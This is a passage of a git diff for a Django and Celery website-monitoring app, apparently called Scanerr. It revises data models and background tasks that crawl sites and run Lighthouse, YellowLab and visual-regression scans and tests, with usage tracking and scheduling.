models.DateTimeField(default=timezone.now, serialize=True) time_completed = models.DateTimeField(serialize=True, null=True, blank=True) - html = models.TextField(serialize=True, null=True, blank=True) + html = models.CharField(max_length=5000, serialize=True, null=True, blank=True) logs = models.JSONField(serialize=True, null=True, blank=True) images = models.JSONField(serialize=True, null=True, blank=True) + score = models.FloatField(serialize=True, null=True, blank=True) lighthouse = models.JSONField(serialize=True, null=True, blank=True, default=get_lh_default) yellowlab = models.JSONField(serialize=True, null=True, blank=True, default=get_yl_default) configs = models.JSONField(serialize=True, null=True, blank=True) @@ -317,17 +380,21 @@ def __str__(self): + class Test(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) site = models.ForeignKey(Site, on_delete=models.CASCADE, serialize=True) + page = models.ForeignKey(Page, on_delete=models.CASCADE, serialize=True, blank=True) time_created = models.DateTimeField(default=timezone.now, serialize=True) time_completed = models.DateTimeField(serialize=True, null=True, blank=True) type = models.JSONField(serialize=True, null=True, blank=True) pre_scan = models.ForeignKey(Scan, on_delete=models.SET_NULL, serialize=True, null=True, blank=True, related_name='pre_scan') post_scan = models.ForeignKey(Scan, on_delete=models.SET_NULL, serialize=True, null=True, blank=True, related_name='post_scan') score = models.FloatField(serialize=True, null=True, blank=True) + threshold = models.FloatField(serialize=True, null=True, blank=True) + status = models.CharField(max_length=500, serialize=True, null=True, blank=True) # working, failed, passed component_scores = models.JSONField(serialize=True, null=True, blank=True, default=get_scores_default) - html_delta = models.JSONField(serialize=True, null=True, blank=True) + html_delta = models.CharField(max_length=5000, serialize=True, null=True, blank=True) logs_delta = models.JSONField(serialize=True, null=True, blank=True) lighthouse_delta = models.JSONField(serialize=True, null=True, blank=True, default=get_lh_delta_default) yellowlab_delta = models.JSONField(serialize=True, null=True, blank=True, default=get_yl_delta_default) @@ -337,48 +404,45 @@ class Test(models.Model): post_scan_configs = models.JSONField(serialize=True, null=True, blank=True) def __str__(self): - return f'{self.id}__test' + return f'{self.id}_test' -class Schedule(models.Model): +class Case(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) - site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True) - automation = models.ForeignKey('Automation', on_delete=models.SET_NULL, null=True, blank=True, serialize=True, related_name='assoc_auto') - time_created = models.DateTimeField(default=datetime.now, null=True, blank=True, serialize=True) + name = models.CharField(max_length=1000, serialize=True, null=True, blank=True) user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True) account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True) - task_type = models.CharField(max_length=100, default='test', serialize=True) # report, scan, test, testcase - timezone = models.CharField(max_length=100, null=True, blank=True, serialize=True) - begin_date = models.DateTimeField(default=datetime.now, serialize=True) - time = models.CharField(max_length=100, null=True, blank=True, serialize=True) - frequency = models.CharField(default="monthly", max_length=100, serialize=True) # daily, weekly, monthly, - task = models.CharField(max_length=500, null=True, blank=True, serialize=True) # assigning shared task - crontab_id = models.CharField(max_length=500, null=True, blank=True, serialize=True) - periodic_task_id = models.CharField(max_length=500, null=True, blank=True, serialize=True) - status = models.CharField(max_length=100, default='Active', null=True, blank=True, serialize=True) - extras = models.JSONField(serialize=True, null=True, blank=True) + site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True) + site_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + time_created = models.DateTimeField(default=timezone.now, serialize=True) + steps = models.JSONField(serialize=True, null=True, blank=True, default=get_steps_default) + type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + processed = models.BooleanField(default=False, serialize=True) + tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default) def __str__(self): - return f'{self.site.site_url}__{self.task_type}' + return f'{self.name}' if len(self.name) > 0 else str(id) -class Automation(models.Model): +class Testcase(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) - name = models.CharField(max_length=1000, serialize=True, null=True, blank=True) - user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True) + user = models.ForeignKey(User, on_delete=models.SET_NULL, null=True, blank=True, serialize=True) account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True) + case = models.ForeignKey(Case, on_delete=models.CASCADE, null=True, blank=True, serialize=True) + case_name = models.CharField(max_length=500, null=True, blank=True, serialize=True) + site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True) time_created = models.DateTimeField(default=timezone.now, serialize=True) - schedule = models.ForeignKey(Schedule, on_delete=models.CASCADE, null=True, blank=True, serialize=True, related_name='assoc_sch') - expressions = models.JSONField(serialize=True, null=True, blank=True, default=get_expressions_default) - actions = models.JSONField(serialize=True, null=True, blank=True, default=get_actions_default) + time_completed = models.DateTimeField(null=True, blank=True, serialize=True) + status = models.CharField(max_length=20, default='working', null=True, blank=True, serialize=True) + steps = models.JSONField(serialize=True, null=True, blank=True) + configs = models.JSONField(serialize=True, null=True, blank=True) def __str__(self): - return f'{self.name}' - + return f'{self.case.name}_testcase' @@ -386,6 +450,7 @@ def __str__(self): class Report(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True) + page = models.ForeignKey(Page, on_delete=models.CASCADE, null=True, blank=True, serialize=True) user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True) account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True) time_created = models.DateTimeField(default=timezone.now, serialize=True) @@ -394,45 +459,68 @@ class Report(models.Model): info = models.JSONField(serialize=True, null=True, blank=True) def __str__(self): - return f'{self.site.site_url}__report' + return f'{self.page.page_url}_report' + +class Issue(models.Model): + id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) + time_created = models.DateTimeField(default=timezone.now, serialize=True) + trigger = models.JSONField(serialize=True, null=True, blank=True) + account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True) + title = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + details = models.TextField(serialize=True, null=True, blank=True) + status = models.CharField(max_length=500, serialize=True, default='open') + affected = models.JSONField(serialize=True, null=True, blank=True) + labels = models.JSONField(serialize=True, null=True, blank=True) + read = models.BooleanField(default=False, serialize=True) + + def __str__(self): + return f'{self.title if self.title is not None else self.id}_issue' -class Case(models.Model): + + +class Schedule(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) - name = models.CharField(max_length=1000, serialize=True, null=True, blank=True) user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True) account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True) - time_created = models.DateTimeField(default=timezone.now, serialize=True) - steps = models.JSONField(serialize=True, null=True, blank=True, default=get_steps_default) - tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default) + scope = models.CharField(max_length=100, default='account', serialize=True) + resources = models.JSONField(serialize=True, null=True, blank=True) + automation = models.ForeignKey('Automation', on_delete=models.SET_NULL, null=True, blank=True, serialize=True, related_name='assoc_auto') + time_created = models.DateTimeField(default=datetime.now, null=True, blank=True, serialize=True) + time_last_run = models.DateTimeField(null=True, blank=True, serialize=True) + task_type = models.CharField(max_length=100, default='test', serialize=True) + timezone = models.CharField(max_length=100, null=True, blank=True, serialize=True) + begin_date = models.DateTimeField(default=datetime.now, serialize=True) + time = models.CharField(max_length=100, null=True, blank=True, serialize=True) + frequency = models.CharField(default="monthly", max_length=100, serialize=True) + task = models.CharField(max_length=500, null=True, blank=True, serialize=True) + crontab_id = models.CharField(max_length=500, null=True, blank=True, serialize=True) + periodic_task_id = models.CharField(max_length=500, null=True, blank=True, serialize=True) + status = models.CharField(max_length=100, default='Active', null=True, blank=True, serialize=True) + extras = models.JSONField(serialize=True, null=True, blank=True) def __str__(self): - return f'{self.name}' + return f'{self.account.name}_{self.task_type}_{self.scope}' -class Testcase(models.Model): +class Automation(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) - user = models.ForeignKey(User, on_delete=models.SET_NULL, null=True, blank=True, serialize=True) + name = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True) account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True) - case = models.ForeignKey(Case, on_delete=models.CASCADE, null=True, blank=True, serialize=True) - case_name = models.CharField(max_length=1000, null=True, blank=True, serialize=True) - site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True) time_created = models.DateTimeField(default=timezone.now, serialize=True) - time_completed = models.DateTimeField(null=True, blank=True, serialize=True) - passed = models.BooleanField(default=False, serialize=True) - steps = models.JSONField(serialize=True, null=True, blank=True) - configs = models.JSONField(serialize=True, null=True, blank=True) + schedule = models.ForeignKey(Schedule, on_delete=models.CASCADE, null=True, blank=True, serialize=True, related_name='assoc_sch') + expressions = models.JSONField(serialize=True, null=True, blank=True, default=get_expressions_default) + actions = models.JSONField(serialize=True, null=True, blank=True, default=get_actions_default) def __str__(self): - return f'{self.case.name}__testcase' - + return f'{self.id}' - @@ -443,7 +531,7 @@ class Mask(models.Model): mask_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) def __str__(self): - return f'{self.id}__mask' + return f'{self.id}_mask' @@ -451,15 +539,19 @@ def __str__(self): class Process(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True) - type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + account = models.ForeignKey(Account, on_delete=models.CASCADE, null=True, blank=True, serialize=True) + type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + object_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) time_created = models.DateTimeField(default=timezone.now, serialize=True) time_completed = models.DateTimeField(serialize=True, null=True, blank=True) - successful = models.BooleanField(serialize=True, default=False) + success = models.BooleanField(serialize=True, default=False) + exception = models.TextField(serialize=True, null=True, blank=True) + info = models.JSONField(serialize=True, null=True, blank=True) info_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True) progress = models.FloatField(serialize=True, null=True, blank=True) def __str__(self): - return f'{self.id}__process' + return f'{self.id}_process' @@ -475,4 +567,7 @@ class Log(models.Model): response_payload = models.JSONField(serialize=True, null=True, blank=True) def __str__(self): - return f'{self.status}__{self.request_type}__{self.path}' + return f'{self.status}_{self.request_type}_{self.path}' + + + diff --git a/app/api/tasks.py b/app/api/tasks.py index d242b559..a9efd46d 100644 --- a/app/api/tasks.py +++ b/app/api/tasks.py @@ -1,143 +1,1627 @@ -from __future__ import absolute_import, unicode_literals -from typing import Any from celery.utils.log import get_task_logger -from celery import shared_task -from celery import Task as BaseTask -from .v1.ops.tasks import ( - create_site_task, create_scan_task, run_html_and_logs_task, - run_vrt_task, run_lighthouse_task, run_yellowlab_task, - create_test_task, create_report_task, delete_report_s3, - delete_site_s3, create_testcase_task, migrate_site_task, - delete_testcase_s3, - +from celery import shared_task, Task +from .utils.crawler import Crawler +from .utils.scanner import Scanner as S +from .utils.tester import Tester as T +from .utils.reporter import Reporter as R +from .utils.wordpress import Wordpress as W +from .utils.automater import Automater +from .utils.caser import Caser +from .utils.autocaser import AutoCaser +from .utils.exporter import create_and_send_report_export +from .utils.scanner import ( + _html_and_logs, _vrt, _lighthouse, + _yellowlab ) -from .models import Log +from .utils.alerts import send_invite_link, send_remove_alert +from .models import * from django.contrib.auth.models import User -from .utils.driver_p import driver_test -from asgiref.sync import async_to_sync -import asyncio +from django.utils import timezone +from datetime import datetime, timedelta +from scanerr import settings +import asyncio, boto3, time, requests, json, stripe -logger = get_task_logger(__name__) -@shared_task -def test_pupeteer(): - asyncio.run(driver_test()) - logger.info('Tested pupeteer instalation') -@shared_task -def create_site_bg(site_id=None, scan_id=None, configs=None, *args, **kwargs): - create_site_task(site_id, scan_id, configs) - logger.info('Created scan of new site') +class BaseTaskWithRetry(Task): + autoretry_for = (Exception, KeyError) + retry_kwargs = {'max_retries': 2} + retry_backoff = True -@shared_task -def create_scan_bg( - scan_id=None, - site_id=None, - type=['full'], - automation_id=None, - configs=None, - tags=None, - *args, - **kwargs, - ): - create_scan_task( - scan_id, - site_id, - type, - automation_id, - configs, - tags, + + + +# setting logger +logger = get_task_logger(__name__) + + + + +# setting s3 instance +def s3(): + s3 = boto3.resource('s3', + aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) ) + return s3 + + + + +def check_and_increment_resource(account: object, resource: str) -> bool: + """ + Adds 1 to the Account.usage.{resource} if + {resource}_allowed has not been reached. + + Expcets: { + 'account' : , + 'resource' : 'scan', 'test', or 'testcase + } + + Returns: Bool, True if resource was incremented. + """ + + # define defaults + success = False + + # check allowance + if (int(account.usage[f'{resource}']) + 1) <= int(account.usage[f'{resource}_allowed']): + + # increment and update success + account.usage[f'{resource}'] = 1 + int(account.usage[f'{resource}']) + account.save() + success = True + + # return response + return success + + + + +@shared_task(bind=True, base=BaseTaskWithRetry) +def create_site_and_pages_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> None: + """ + Takes a newly created `Site`, initiates a Crawl and + initial `Scan` for each crawled page + + Expcets: { + site_id: str, + configs: dict + } + + Returns -> None + """ + + # getting site and updating for time_crawl_start + site = Site.objects.get(id=site_id) + site.time_crawl_started = timezone.now() + site.time_crawl_completed = None + site.save() + + # crawl site + pages = Crawler(url=site.site_url, max_urls=site.account.max_pages).get_links() + + # create pages and scans + for url in pages: + + # add new page + if not Page.objects.filter(site=site, page_url=url).exists(): + page = Page.objects.create( + site=site, + page_url=url, + user=site.user, + account=site.account, + ) + + # check resouce allowance + if check_and_increment_resource(site.account, 'scans'): + + # create initial scan + scan = Scan.objects.create( + site=site, + page=page, + type=settings.TYPES, + configs=configs + ) + + # run each scan component in parallel + run_html_and_logs_bg.delay(scan_id=scan.id) + run_lighthouse_bg.delay(scan_id=scan.id) + run_yellowlab_bg.delay(scan_id=scan.id) + run_vrt_bg.delay(scan_id=scan.id) + + # update page info + page.info["latest_scan"]["id"] = str(scan.id) + page.info["latest_scan"]["time_created"] = str(scan.time_created) + page.save() + + # updating site status + site.time_crawl_completed = timezone.now() + site.save() + + logger.info('Added site and all pages') + return None + + + + +@shared_task(bind=True, base=BaseTaskWithRetry) +def crawl_site_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> None: + """ + Takes an existing `Site`, initiates a new Crawl and + initial `Scan` for each newly added page + + Expcets: { + site_id: str, + configs: dict + } + + Returns -> None + """ + + # getting site and updating for time_crawl_start + site = Site.objects.get(id=site_id) + site.time_crawl_started = timezone.now() + site.time_crawl_completed = None + site.save() + + # getting old pages for comparison + old_pages = Page.objects.filter(site=site) + old_urls = [] + for p in old_pages: + old_urls.append(p.page_url) + + # crawl site + new_urls = Crawler(url=site.site_url, max_urls=site.account.max_pages).get_links() + add_urls = [] + + # checking for duplicates + for url in new_urls: + if not url in old_urls: + add_urls.append(url) + + # loop thorugh crawled pages + # and add if not present + current_count = len(old_urls) + for url in add_urls: + + # add new page if room exists + if current_count < site.account.max_pages: + page = Page.objects.create( + site=site, + page_url=url, + user=site.user, + account=site.account, + ) + + # check resouce allowance + if check_and_increment_resource(site.account, 'scans'): + + # create initial scan + scan = Scan.objects.create( + site=site, + page=page, + type=settings.TYPES, + configs=configs + ) + # run each scan component in parallel + run_html_and_logs_bg.delay(scan_id=scan.id) + run_lighthouse_bg.delay(scan_id=scan.id) + run_yellowlab_bg.delay(scan_id=scan.id) + run_vrt_bg.delay(scan_id=scan.id) + page.info["latest_scan"]["id"] = str(scan.id) + page.info["latest_scan"]["time_created"] = str(scan.time_created) + page.save() + + # increment + current_count += 1 + + # updating site status + site.time_crawl_completed = timezone.now() + site.save() + + logger.info('crawled site and added pages') + return None + + + + +@shared_task(bind=True, base=BaseTaskWithRetry) +def update_site_and_page_info( + self, + resource: str='all', + site_id: str=None, + page_id: str=None, + ) -> None: + """ + Updates the site and or page `latest_scan` & `latest_test` info + depending on scope. + + Expects: { + "resource" : str (OPTIONAL), + "site_id" : str (OPTIONAL), + "page_id" : str (OPTIONAL) + } + + Returns -> None + """ + + # defaults + site = None + page = None + pages = [] + scans = [] + tests = [] + latest_test = None + latest_scan = None + + # get associated site + if site_id: + site = Site.objects.get(id=site_id) + pages = Page.objects.filter(site=site) + + # get associated page + if page_id: + page = Page.objects.get(id=page_id) + site = page.site + pages = Page.objects.filter(site=site) + + # get latest tests & scans of pages + for p in pages: + + if Test.objects.filter(page=p).exists() and \ + (resource == 'test' or resource == 'all'): + _test = Test.objects.filter(page=p).exclude( + time_completed=None + ).order_by('-time_completed') + if len(_test) > 0: + if _test[0].score: + # add to tests[] + tests.append(_test[0].score) + # update latest_test + latest_test = _test[0] + + if Scan.objects.filter(page=p).exists()and \ + (resource == 'scan' or resource == 'all'): + _scan = Scan.objects.filter(page=p).exclude( + time_completed=None + ).order_by('-time_completed') + if len(_scan) > 0: + if _scan[0].score: + # add to scans[] + scans.append(_scan[0].score) + # update latest_scan + latest_scan = _scan[0] + + # update single page if passed + if page: + + # checking if current p is page + if page == p: + + # latest_scan info + if latest_scan: + page.info['latest_scan']['id'] = str(latest_scan.id) + page.info['latest_scan']['time_created'] = str(latest_scan.time_created) + page.info['latest_scan']['time_completed'] = str(latest_scan.time_completed) + page.info['latest_scan']['score'] = latest_scan.score + page.info['lighthouse'] = latest_scan.lighthouse.get('scores') + page.info['yellowlab'] = latest_scan.yellowlab.get('scores') + if latest_scan is None and (resource == 'scan' or resource == 'all'): + page.info['latest_scan']['id'] = None + page.info['latest_scan']['time_created'] = None + page.info['latest_scan']['time_completed'] = None + page.info['latest_scan']['score'] = None + page.info['lighthouse'] = None + page.info['yellowlab'] = None + + # latest_test info + if latest_test: + page.info['latest_test']['id'] = str(latest_test.id) + page.info['latest_test']['time_created'] = str(latest_test.time_created) + page.info['latest_test']['time_completed'] = str(latest_test.time_completed) + page.info['latest_test']['score'] = (round(latest_test.score * 100) / 100) + page.info['latest_test']['status'] = latest_test.status + if latest_test is None and (resource == 'test' or resource == 'all'): + page.info['latest_test']['id'] = None + page.info['latest_test']['time_created'] = None + page.info['latest_test']['time_completed'] = None + page.info['latest_test']['score'] = None + page.info['latest_test']['status'] = None + + # save page + page.save() + + # update site with new scan info + if len(scans) > 0: + # calc site average of latest_scan.score + site_avg_scan_score = round((sum(scans)/len(scans)) * 100) / 100 + print(f'updating site with new scan score -> {site_avg_scan_score}') + + # latest_scan info + if latest_scan: + site.info['latest_scan']['id'] = str(latest_scan.id) + site.info['latest_scan']['time_created'] = str(latest_scan.time_created) + site.info['latest_scan']['time_completed'] = str(latest_scan.time_completed) + site.info['latest_scan']['score'] = latest_scan.score + site.info['lighthouse'] = latest_scan.lighthouse.get('scores') + site.info['yellowlab'] = latest_scan.yellowlab.get('scores') + if latest_scan is None and (resource == 'scan' or resource == 'all'): + site.info['latest_scan']['id'] = None + site.info['latest_scan']['time_created'] = None + site.info['latest_scan']['time_completed'] = None + site.info['latest_scan']['score'] = None + site.info['lighthouse'] = None + site.info['yellowlab'] = None + + # update site with new test info + if len(tests) > 0: + # calc site average of latest_test.score + site_avg_test_score = round((sum(tests)/len(tests)) * 100) / 100 + print(f'updating site with new test score -> {site_avg_test_score}') + + # update site info + if latest_test: + site.info['latest_test']['id'] = str(latest_test.id) + site.info['latest_test']['time_created'] = str(latest_test.time_created) + site.info['latest_test']['time_completed'] = str(latest_test.time_completed) + site.info['latest_test']['score'] = site_avg_test_score + site.info['latest_test']['status'] = latest_test.status + if latest_test is None and (resource == 'test' or resource == 'all'): + site.info['latest_test']['id'] = None + site.info['latest_test']['time_created'] = None + site.info['latest_test']['time_completed'] = None + site.info['latest_test']['score'] = None + site.info['latest_test']['status'] = None + + # save info + site.save() + + return None + + + + +@shared_task(bind=True, base=BaseTaskWithRetry) +def update_scan_score(self, scan_id: str) -> None: + """ + Method to calculate the average health score and update + for the passed scan_id + + Expects: { + 'scan_id': str + } + + Returns -> None + """ + + # setting defaults + score = None + scores = [] + scan = Scan.objects.get(id=scan_id) + + # get latest scan scores + if scan.lighthouse['scores']['average'] is not None: + scans.append(scan.lighthouse['scores']['average']) + if scan.yellowlab['scores']['globalScore'] is not None: + scans.append(scan.yellowlab['scores']['globalScore']) + + # calc average score + if len(scores) > 0: + score = sum(scores)/len(scores) + + # save to scan + scan.score = score + scan.save() + + # returning scan + return None + + + + +@shared_task(bind=True, base=BaseTaskWithRetry) +def scan_page_bg( + self, + scan_id: str=None, + test_id: str=None, + automation_id: str=None, + configs: dict=settings.CONFIGS + ) -> None: + """ + Runs all the requested `Scan` components + of the passed `Scan`. + + Expects: { + scan_id : str, + test_id : str, + automation_id : str, + configs : dict + } + + Returns -> None + """ + + # get scan object + scan = Scan.objects.get(id=scan_id) + + # run each scan component in parallel + if 'html' in scan.type or 'logs' in scan.type or 'full' in scan.type: + run_html_and_logs_bg.delay(scan_id=scan.id, test_id=test_id, automation_id=automation_id) + if 'lighthouse' in scan.type or 'full' in scan.type: + run_lighthouse_bg.delay(scan_id=scan.id, test_id=test_id, automation_id=automation_id) + if 'yellowlab' in scan.type or 'full' in scan.type: + run_yellowlab_bg.delay(scan_id=scan.id, test_id=test_id, automation_id=automation_id) + if 'vrt' in scan.type or 'full' in scan.type: + run_vrt_bg.delay(scan_id=scan.id, test_id=test_id, automation_id=automation_id) + + logger.info('created new Scan of Page') + return None + + + + +@shared_task(bind=True, base=BaseTaskWithRetry) +def create_scan( + self, + scan_id: str=None, + page_id: str=None, + type: list=settings.TYPES, + automation_id: str=None, + configs: str=None, + tags: str=None, + ) -> None: + """ + Runs a `Scan` using Scanner.build_scan() + where each component is run in sequence. + + Expects: { + scan_id : str, + page_id : str, + type : list, + automation_id : str, + configs : dict, + tags : list, + } + + Returns -> None + """ + + # get scan if scan_id present + if scan_id is not None: + created_scan = Scan.objects.get(id=scan_id) + + # create scan if page_id present + elif page_id is not None: + page = Page.objects.get(id=page_id) + created_scan = Scan.objects.create( + site=page.site, + page=page, + type=type, + configs=configs, + tags=tags, + ) + + # run scan and automation if necessary + scan = S(scan=created_scan).build_scan() + if automation_id: + print('running automation from `task.create_scan`') + Automater(automation_id, scan.id).run_automation() + logger.info('Created new scan of site') + return None -@shared_task -def run_html_and_logs_bg(scan_id=None, *args, **kwargs): - run_html_and_logs_task(scan_id) +@shared_task(bind=True, base=BaseTaskWithRetry) +def create_scan_bg(self, *args, **kwargs) -> None: + """ + Creates 1 or more `Scans` depending on + the scope (page, site or account). Used with `Schedules` + + Expects: { + 'scope' : str + 'resources' : list + 'account_id' : str + 'type' : list, + 'configs' : dict, + 'tags' : list, + 'automation_id' : str, + 'task_id' : str + } + + Returns -> None + """ + + # get data from kwargs + scope = kwargs.get('scope') + resources = kwargs.get('resources') + account_id = kwargs.get('account_id') + type = kwargs.get('type') + configs = kwargs.get('configs') + tags = kwargs.get('tags') + automation_id = kwargs.get('automation_id') + task_id = kwargs.get('task_id') + + # setting defaults + pages = [] + sites = [] + + # get account if account_id exists + if account_id: + account = Account.objects.get(id=account_id) + + # iterating through resources + # and adding to sites or pages + if len(resources) > 0: + for item in resources: + + # adding to pages + if item['type'] == 'page': + try: + pages.append( + Page.objects.get(id=item['id']) + ) + except Exception as e: + print(e) + + # adding to sites + if item['type'] == 'site': + try: + sites.append( + Site.objects.get(id=item['id']) + ) + except Exception as e: + print(e) + + # grabbing all sites because no + # resources were specified and scope is "account" + if len(resources) == 0 and scope == 'account': + sites = Site.objects.filter(account=account) + + # get all pages from existing sites + for site in sites: + pages += Page.objects.filter(site=site) + + # creating scans for each page + for page in pages: + + # check resource + if check_and_increment_resource(page.account, 'scans'): + + # updating latest_scan info for page + page.info['latest_scan']['id'] = 'placeholder' + page.info['latest_scan']['time_created'] = str(timezone.now()) + page.info['latest_scan']['time_completed'] = None + page.info['latest_scan']['score'] = None + page.info['latest_scan']['score'] = None + page.save() + + # updating latest_scan info for site + page.site.info['latest_scan']['id'] = 'placeholder' + page.site.info['latest_scan']['time_created'] = str(timezone.now()) + page.site.info['latest_scan']['time_completed'] = None + page.site.save() + + # init scan in bg + create_scan.delay( + page_id=str(page.id), + type=type, + configs=configs, + tags=tags, + automation_id=automation_id + ) + + # update schedule if task_id is not None + if task_id: + try: + last_run = timezone.now() + Schedule.objects.filter(periodic_task_id=task_id).update( + time_last_run=last_run + ) + except Exception as e: + print(e) + + logger.info('created new Scans') + return None + + + + +@shared_task(bind=True, base=BaseTaskWithRetry) +def run_html_and_logs_bg(self, scan_id: str=None, test_id: str=None, automation_id: str=None) -> None: + """ + Runs the html & logs components of the passed `Scan` + + Expects: { + scan_id : str, + test_id : str, + automation_id : str + } + + Returns -> None + """ + + # run html and logs component + _html_and_logs(scan_id, test_id, automation_id) + logger.info('ran html & logs component') + return None -@shared_task -def run_vrt_bg(scan_id=None, *args, **kwargs): - run_vrt_task(scan_id) + + +@shared_task(bind=True, base=BaseTaskWithRetry) +def run_vrt_bg(self, scan_id: str=None, test_id: str=None, automation_id: str=None) -> None: + """ + Runs the VRT component of the passed `Scan` + + Expects: { + scan_id : str, + test_id : str, + automation_id : str + } + + Returns -> None + """ + + # run VRT component + _vrt(scan_id, test_id, automation_id) + logger.info('ran vrt component') + return None -@shared_task -def run_lighthouse_bg(scan_id=None, *args, **kwargs): - run_lighthouse_task(scan_id) + + +@shared_task(bind=True, base=BaseTaskWithRetry) +def run_lighthouse_bg(self, scan_id: str=None, test_id: str=None, automation_id: str=None) -> None: + """ + Runs the lighthouse component of the passed `Scan` + + Expects: { + scan_id : str, + test_id : str, + automation_id : str + } + + Returns -> None + """ + + # run lighthouse component + _lighthouse(scan_id, test_id, automation_id) + logger.info('ran lighthouse component') + return None -@shared_task -def run_yellowlab_bg(scan_id=None, *args, **kwargs): - run_yellowlab_task(scan_id) + + +@shared_task(bind=True, base=BaseTaskWithRetry) +def run_yellowlab_bg(self, scan_id: str=None, test_id: str=None, automation_id: str=None) -> None: + """ + Runs the yellowlab component of the passed `Scan` + + Expects: { + scan_id : str, + test_id : str, + automation_id : str + } + + Returns -> None + """ + + # run yellowlab component + _yellowlab(scan_id, test_id, automation_id) + logger.info('ran yellowlab component') + return None + + + + +@shared_task(bind=True, base=BaseTaskWithRetry) +def run_test(self, test_id: str, automation_id: str=None) -> None: + """ + Helped function to shorted the code base + when creating a `Test`. + + Expects: { + test_id : str, + automation_id : str + } + + Returns -> None + """ + # get test + test = Test.objects.get(id=test_id) + + # execute test + test = T(test=test).run_test() + if automation_id: + print('running automation from `task.run_test`') + Automater(automation_id, test.id).run_automation() + + logger.info('Test completed') + return None + + + + +@shared_task(bind=True, base=BaseTaskWithRetry) +def create_test( + self, + test_id: str=None, + page_id: str=None, + automation_id: str=None, + configs: dict=settings.CONFIGS, + type: list=settings.TYPES, + index: int=None, + pre_scan: str=None, + post_scan: str=None, + tags: list=None, + threshold: float=settings.TEST_THRESHOLD, + ) -> None: + """ + Creates a `post_scan` if necessary, waits for completion, + and runs a `Test` + + Expects: { + test_id : str, + page_id : str, + automation_id : str, + configs : dict, + type : list, + index : int, + pre_scan : str, + post_scan : str, + tags : list, + threshold : float, + } + + Returns -> None + """ + + # setting defaults + created_test = None + + # get or create a Test + if test_id is not None: + created_test = Test.objects.get(id=test_id) + page = created_test.page + elif page_id is not None: + page = Page.objects.get(id=page_id) + created_test = Test.objects.create( + site=page.site, + page=page, + type=type, + tags=tags, + threshold=float(threshold), + status='working' + ) + + # get pre_ & post_ scans + if pre_scan is not None: + pre_scan = Scan.objects.get(id=pre_scan) + if post_scan is not None: + post_scan = Scan.objects.get(id=post_scan) + if post_scan is None or pre_scan is None: + if pre_scan is None: + # check for pre_scan existance + if not Scan.objects.filter(page=page).exclude(time_completed=None).exists(): + + # create new scan if none exists + new_scan = Scan.objects.create( + site=page.site, + page=page, + tags=tags, + type=type, + configs=configs, + ) + scan_page_bg.delay( + scan_id=new_scan.id, + configs=configs, + ) + + # remove created_test + created_test.delete() + + # return None + logger.info('no pre_scan available to create Test with') + return None + + # get pre_scan if exists + pre_scan = Scan.objects.filter( + page=page + ).exclude( + time_completed=None + ).order_by('-time_completed')[0] + + # check and increment resources + if not check_and_increment_resource(page.account, 'scans'): + + # remove created_test + created_test.delete() + + # return None + logger.info('no more scans usage available') + return None + + # create new post_scan + post_scan = Scan.objects.create( + site=page.site, + page=page, + tags=tags, + type=type, + configs=configs, + ) + + # run Scan & Test tasks + scan_page_bg.delay( + scan_id=post_scan.id, + test_id=created_test.id, + automation_id=automation_id, + configs=configs, + ) + + # updating parired scans + pre_scan.paired_scan = post_scan + post_scan.paried_scan = pre_scan + pre_scan.save() + post_scan.save() + + # updating test object + created_test.type = type + created_test.pre_scan = pre_scan + created_test.post_scan = post_scan + created_test.save() + + # check if pre and post scan are complete and start test if True + if pre_scan.time_completed is not None and post_scan.time_completed is not None: + run_test.delay(test_id=created_test.id, automation_id=automation_id) + + logger.info('Began Scan/Test process') + return None + + + + +@shared_task(bind=True, base=BaseTaskWithRetry) +def create_test_bg(self, *args, **kwargs) -> None: + """ + Depending on the scope, run create_test() for + all requested pages. + + Expects: { + scope : str + resources : list + account_id : str + test_id : str + type : list + configs : dict + tags : list + automation_id : str + pre_scan : str + post_scan : str + threshold : float + task_id : str + } + + Returns -> None + """ + + # get data + scope = kwargs.get('scope') + resources = 